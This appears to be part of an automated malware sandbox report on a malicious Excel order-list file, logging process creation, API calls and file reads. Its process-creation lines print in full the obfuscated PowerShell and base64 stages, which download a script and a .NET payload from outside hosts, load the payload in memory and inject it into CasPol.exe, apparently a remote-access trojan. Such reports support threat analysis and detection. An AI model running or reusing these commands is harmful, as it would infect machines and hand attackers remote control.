                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,30_2_004182CE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00416AB7 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,29_2_00416AB7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle,32_2_00410DE1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,30_2_00418758
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0040E219 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,29_2_0040E219
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041A63F FindResourceA,LoadResource,LockResource,SizeofResource,29_2_0041A63F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00419BC4 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,29_2_00419BC4
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\AD430000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-8FCP5S
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRAAFD.tmpJump to behavior
                Source: Sipari#U015f_listesi.xlsOLE indicator, Workbook stream: true
                Source: AD430000.0.drOLE indicator, Workbook stream: true
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................P................6.......6.....}..w..............D.......D......1D.....(.P.......D......3D......................yi.............Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm......................7y.l....}..w.....yi.....\.F.......D.............(.P.....................h...............................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................yi.....}..w.............?U......y.l......T.....(.P.....................................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm......................7y.l....}..w.....yi.....\.F.......D.............(.P.....................h...............................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................yi.....}..w.............?U......y.l......T.....(.P.....................................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..?U......y.l......T.....(.P............................. .......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................yi.....}..w.............?U......y.l......T.....(.P.....................................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.............................8.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................yi.....}..w.............?U......y.l......T.....(.P.....................................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...................F.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................yi.....}..w.............?U......y.l......T.....(.P.............................l.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ ........yi.....}..w.............?U......y.l......T.....(.P.....................................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................yi.............0...!....W5.....}..w....h.......@EE.....^...............(.P.....................................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................yi.................!....W5.....}..w....h.......@EE.....^...............(.P.....................................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................P..............T.r.u.e...6......[................D......[.......[........2.......D......3D.......#..............[..............Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................h(D.......................6.....}..w......6.......D.......D......1D.....(.P.............t.........#.............................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................P................6.......6.....}..w..............D.......D......1D.....(.P.......D......3D.....................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm.........................l....}..w............\.F.......D.............(.P.....l.......t.......................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................................}..w..............V..... ..l.....\......(.P.....l.......t.......................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm.........................l....}..w............\.F.......D.............(.P.....l.......t.......................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................................}..w..............V..... ..l.....\......(.P.....l.......t.......................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1...V..... ..l.....\......(.P.....l.......t............... .......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................................}..w..............V..... ..l.....\......(.P.....l.......t.......................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....l.......t...............8.......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................................}..w..............V..... ..l.....\......(.P.....l.......t.......................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...t...............F.......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................................}..w..............V..... ..l.....\......(.P.....l.......t...............l.......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ ...............}..w..............V..... ..l.....\......(.P.....l.......t.......................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................0.C......W5.....}..w............@EE.....^...............(.P.....l.......t.......................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................W5.....}..w............@EE.....^...............(.P.....l.......t.......................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................P..............T.r.u.e...6......A................D......A.......A........2.......D......3D......................A..............
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................h(D.......................6.....}..w......6.......D.......D......1D.....(.P.....................................................
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSystem information queried: HandleInformation
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: CasPol.exe, CasPol.exe, 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                Source: CasPol.exe, CasPol.exe, 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                Source: CasPol.exe, 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
                Source: CasPol.exe, CasPol.exe, 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
                Source: CasPol.exe, CasPol.exe, 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                Source: CasPol.exe, CasPol.exe, 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                Source: CasPol.exe, CasPol.exe, 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                Source: Sipari#U015f_listesi.xlsReversingLabs: Detection: 15%
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeEvasive API call chain: __getmainargs,DecisionNodes,exitgraph_31-33246
                Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline"
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES82B7.tmp" "c:\Users\user\AppData\Local\Temp\1012d3sk\CSC185E2CF02A494FD98EB3E2DDFFB62AF5.TMP"
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.cmdline"
